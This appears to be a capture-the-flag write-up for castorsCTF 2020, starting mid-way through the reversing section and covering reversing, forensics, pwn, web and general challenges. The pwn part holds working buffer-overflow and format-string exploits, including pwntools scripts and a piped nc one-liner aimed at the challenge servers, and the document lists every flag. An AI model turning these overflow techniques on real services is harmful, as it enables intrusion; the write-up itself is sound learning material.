This was another go binary to reverse engineer. From the files we were given, it was already possible to guess that the binary had encrypted a file flag.png and we now had the encrypted version of it. The pcap would probably contain a key that was sent over the network and that would allow decryption. Looking at the disassembly in confirmed this. The binary gets seeds from a server and then sends back one of the seed which I assume was the actual seed used (I didn’t actually reverse engineer this part, to save time, as the worth case scenario of that assumption was me have to do work I should have done anyway). The binary then sets the seed used using rand.Seed. The function main.encrypt is then called. It opens the file flag.png, and then xors each of the bytes with a random value from rand.Intn(254).

Because in the .pcapng, the seed sent to the server was 1337, I wrote a little go script that generated 1500 numbers with that seed, and then a python script that xored the content of flag.png with those numbers:

POST /seed HTTP/1.1
Host: 192.168.0.2:8081
User-Agent: Go-http-client/1.1
Content-Length: 11
Content-Type: application/json
Accept-Encoding: gzip

{seed:1337}HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 5
Server: Werkzeug/1.0.1 Python/3.7.2
Date: Fri, 22 May 2020 22:47:50 GMT

"ok"
package main

import (
	"fmt"
	"math/rand"
)

func main() {
	rand.Seed(1337)
	for i := 0; i < 1500; i++ {
		fmt.Println(rand.Intn(254))
	}
}
#!/usr/bin/env python3

import sys
import struct

with open('./xor') as f:
    numbers = list(map(int, f.read().split()))

with open('./flag.png', 'rb') as f:
    bytes_image = f.read()

sol = []

for x, y in zip(bytes_image, numbers):
    sol.append(x ^ y)

sys.stdout.buffer.write(bytes(sol))
$ go run rng.go > xor
$ ./solution.py > out.png

solution

Flag
castorsCTF{this_is_not_my_final_form}

Octopus (494 points 19 solves)

Description

Author: icinta

Hope you don’t get caught in one of the binary’s tentacles!

obfus

Solution

Opening the files in an editor, you can see that it has a -----BEGIN CERTIFICATE----- header and -----END CERTIFICATE----- footer, because the second to last line had the = padding from base64, I decided to base64 decode the file (with the header and footer removed).

dC5pbml0AHR5cGUuLmVxLmZtdC5mbXQAbWFpbi5tYWluAA==
-----END CERTIFICATE-----
$ base64 -d no_headers
ELF>0E@base64: invalid input

For some reason it said “invalid input”, however, I could already see that the little that had been decoded started with ELF suggesting it was an elf file. Looking at the base64 man page, I noticed the --ignore-garbage option that ignored non-alphabet characters. With this, I was able to decode the file and execute it:

$ base64 -di no_headers > out
$ ./out
Estou procurando as palavras para falar em inglês ...
Aqui vou
[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]

The message translated (from Portuguese to English) was:

I'm looking for the words to speak in English ...
Here you go

Because this was a reversing challenge, I opened it in radare2 but couldn’t find anything, the binary was just loading the text it was printing from memory and nothing else, I then realised the string outputted might be encrypted, and it turns out that it is base64.

$ base64 -d <<< Y2FzdG9yc0NURntXaDBfczQxZF9Bblk3aGxuR19CMHVUX200dEh9
castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}
Flag
castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}

Forensics

Manipulation (50 points 151 solves)

Description

Author: icinta

One of our clients sent us the password but we got this instead. He insists the password is in the image, can you help us?

pooh.jpg

Solution

When opening the file, it looked like a hexdump, possibly one created using the tool xxd. The first line looked like the hexdump of a jpg, as it contains the string Exif.

00000010: 012c 0000 ffe1 20e8 4578 6966 0000 4949  .,.... .Exif..II

The last line of the hexdump looked as if it should have been the first line, as it had the offset 00000000 and also contained the magic bytes of a jpeg:

0000ccc0: f85d 21b1 ffd9                           .]!...
00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 012c  ......JFIF.....,

I moved the last line to the beginning:

00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 012c  ......JFIF.....,
00000010: 012c 0000 ffe1 20e8 4578 6966 0000 4949  .,.... .Exif..II

And then used xxd -r pooh.jpg correct.jpg to convert from the hexdump back into a “binary” file.

correct.jpg

Flag
castorsCTF{H3r3_Is_y0uR_Fl4gg}

Father Taurus Kernel Import! (408 points 69 solves)

Description

Author: icinta

We found a thumb drive lying on the floor. Luckily, it wasn’t a rubber ducky or contain a ransomware; either way, we’re still suspicious. We already went ahead and created the image, help us by analyzing it.

https://bit.ly/2ZQEZyb

Solution

To solve this challenge I tried to “grep to win”, but it didn’t work, so then I tried to grep for the base64 of the flag format and found the flag:

$ grep 'castors' FloorDrive.001 # grep to win fails
$ echo -n "castorsCTF" | base64 # get the base64 of the flag format
Y2FzdG9yc0NURg==
$ grep --text -o 'Y2FzdG9yc.*' FloorDrive.001
Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==T
$ base64 -d <<< "Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ=="
castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}
Flag
castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}

PWN

abcbof (50 points 184 solves)

Description

Author: Lunga

nc chals20.cybercastors.com 14424

abcbof

Solution

Decompiling the program in ghidra gives the following main function:

undefined8 main(void)

{
  int iVar1;
  char local_118 [256];
  char local_18 [16];
  
  printf("Hello everyone, say your name: ");
  gets(local_118);
  iVar1 = strcmp("CyberCastors",local_18);
  if (iVar1 == 0) {
    get_flag();
  }
  puts("You lose!");
  return 0;
}

For the get_flag function to run (which will print the flag), we must have the char array local_18, be equal to CyberCastors. This can be done by exploiting the use of the gets function.

$ python -c 'print("A" * 256 + "CyberCastors")' | nc chals20.cybercastors.com 14424
Hello everyone, say your name: castorsCTF{b0f_4r3_n0t_th4t_h4rd_or_4r3_th3y?}
Flag
castorsCTF{b0f_4r3_n0t_th4t_h4rd_or_4r3_th3y?}

babybof1 (86 points 145 solves)

Description

Author: Lunga

nc chals20.cybercastors.com 14425

babybof

Solution

Redirect using a buffer overflow the execution to the function get_flag located at address 0x004006e7.

To find the location of the return pointer, I used gdb with the cyclic program distributed with pwntools.

asciicast

I then a little pwntools script to get the flag:

from pwn import *

GET_FLAG = 0x004006e7

#r = process("./babybof")
r = remote('chals20.cybercastors.com', 14425)

r.sendline(b"A" * 264 + p64(GET_FLAG))
r.interactive()

asciicast

Flag
castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}

babybof2 (267 points 109 solves)

Description

Authors: icinta

nc chals20.cybercastors.com 14434

winners

Solution

The solution for this is similar to babybof1 except that the equivalent of the flag function has checks. I initially thought of bypassing these checks by just jumping inside of the winnersLevel function (the function that prints the flag (equivalent to get_flag in babybof1), after the checks. However this didn’t work because of the way the value is gotten from the stack.

To fix this I “sprayed” the stack with the value that is wanted by the winnersLevel function hoping that it would find the value there which it did:

#!/usr/bin/env python3

from pwn import *

#r = process('./winners')
r = remote('chals20.cybercastors.com', 14434)

payload = b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaa"
#payload = b"A" * 76
payload += p32(0x08049196)
payload += p32(0x182)
payload += p32(0x182)
payload += p32(0x182)
payload += p32(0x182)
r.sendline(payload)
#attach(r)
r.recv()
r.interactive()

asciicast

Flag
castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}

babyfmt (320 points 95 solves)

Description

Author: Lunga

nc chals20.cybercastors.com 14426

babyfmt

Solution

Decompilation of the main function:

undefined8 main(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  undefined local_218 [256];
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
                    // WARNING: Subroutine does not return
    exit(1);
  }
  __isoc99_fscanf(__stream,"%s",local_218);
  fclose(__stream);
  printf("Hello everyone, this is babyfmt! say something: ");
  fgets(local_118,0xff,stdin);
  printf(local_118);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return 0;
}

As you can see, it loads the flag into memory on the stack. This means that we can exploit the format string vulnerability later in the program to get the flag:

asciicast

Flag
castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}

Web

Mixed Feelings (488 points 26 solves)

Description

Author: icinta

We tried to tell Jeff that one doesn’t go with the other but he didn’t listen. Can you please pwn him and reveal his dirty secrets? Also for some reason they told us he likes XXXTentacion.

http://web1.cybercastors.com:14439/

Solution

After accessing the webpage, there is PHP-like pseudo code visible that suggests to go to /.flagkindsir. On that page there are 2 buttons that send post requests, one for cookies and the other one for puppies. If you change the value from one of those to flag, you get the flag:

curl -i 'http://web1.cybercastors.com:14439/.flagkindsir' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'cookies=flag'
Flag
castorsCTF{4_w1ld_fl4g_h0w_d1d_y0u_s0_cl3verLy_g3t_it}

General

Welcome! (50 points 257 solves)

Description

Author: hasu

Oh jeez! With all the rush I must’ve dropped the welcome !flag somewhere in the server. If only we had a bot we could command to pick it up.

Solution

To get the flag, send the message !flag on discord, a bot will message in DMs the flag.

Flag
castorsCTF{welcome_player_good_luck_and_have_fun}

Readme (50 points 363 solves)

Description

Author: hasu

I noticed something strange while reading the rules… Must be my imagination.

Solution

On the readme page, select the text next to the prizes:

Readme

Flag
castorsCTF{0u7_0f_5173_0u7_0f_m1nd}